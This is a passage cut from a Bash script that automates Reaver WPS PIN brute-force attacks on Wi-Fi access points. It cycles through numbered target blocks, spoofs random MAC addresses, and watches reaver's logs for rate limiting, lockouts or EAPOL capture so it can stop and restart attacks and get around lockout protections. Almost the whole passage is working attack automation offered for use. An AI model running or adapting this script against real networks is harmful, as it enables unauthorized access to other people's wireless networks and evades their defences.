echo -e "$info File name being written to root    = $yel$NAME28-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL28 -b $TARGETAP28 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN28 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME28-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE28-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME28-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME28-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME28-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME28-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME28-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME28-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME28-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME28-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME28-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME28-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME28-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME28-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP28 (ESSID: $NMEWARN28)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME28-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME28-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME28-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME28-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP28 (ESSID: $NMEWARN28)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME28-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R28 == y || $USE_R28 == Y ]] && [[ $USE_LONG28 == y || $USE_LONG28 == Y ]] && [[ $USE_PIN28 == y || $USE_PIN28 == Y ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME28"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL28"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP28"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX28" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY28"
echo -e "$info Reaver live time                   = $yel$LIVE28 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME28-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL28 -b $TARGETAP28 -r $RX28:$RY28 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN28 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME28-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE28-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME28-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME28-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME28-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME28-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME28-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME28-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME28-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME28-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME28-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME28-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME28-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME28-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP28 (ESSID: $NMEWARN28)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME28-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME28-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME28-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME28-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP28 (ESSID: $NMEWARN28)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME28-$DATEFILE-$PAD

                   fi


#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null



clear
	fi

################# Determine to keep file or not ###########

 if [ $KEEP_FILE28 == n ] || [ $KEEP_FILE28 == N ]; then

          rm VARMAC_LOGS/$NAME28-$DATEFILE-$PAD

			fi

################End keep file or ease #####################


###############################END USR Block################################################
###############################Start USR Block################################################

if [[ $USE_R29 == n || $USE_R29 == N ]] && [[ $USE_LONG29 == n || $USE_LONG29 == N ]] && [[ $USE_PIN29 == n || $USE_PIN29 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME29"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL29"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP29"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE29 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME29-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL29 -b $TARGETAP29 -vv -x 60 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME29-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE29-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME29-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi


if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME29-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME29-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME29-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY1" ]] || [[ $line == "YYY21" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY22" ]] || [[ $line == "YYY23" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME29-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME29-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME29-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME29-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME29-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME29-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME29-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME29-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY43" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP29 (ESSID: $NMEWARN29)" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY41" ]] || [[ $line == "YYY42" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME29-$DATEFILE-$PAD


                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME29-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME29-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME29-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP29 (ESSID: $NMEWARN29)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME29-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R29 == y || $USE_R29 == Y ]] && [[ $USE_LONG29 == n || $USE_LONG29 == N ]] && [[ $USE_PIN29 == n || $USE_PIN29 == N ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME29"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL29"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP29"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX29" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY29"
echo -e "$info Reaver live time                   = $yel$LIVE29 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME29-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL29 -b $TARGETAP29 -vv -x 60 -r $RX29:$RY29 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME29-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE29-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME29-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME29-$DATEFILE-$PAD

                   fi


REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME29-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME29-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME29-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME29-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME29-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME29-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME29-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME29-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME29-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME29-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP29 (ESSID: $NMEWARN29)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME29-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME29-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME29-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME29-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP29 (ESSID: $NMEWARN29)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME29-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R29 == n || $USE_R29 == N ]] && [[ $USE_LONG29 == y || $USE_LONG29 == Y ]] && [[ $USE_PIN29 == n || $USE_PIN29 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME29"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL29"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP29"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE29 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME29-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL29 -b $TARGETAP29 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME29-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE29-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME29-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME29-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME29-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME29-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME29-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME29-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME29-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME29-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME29-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME29-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME29-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME29-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

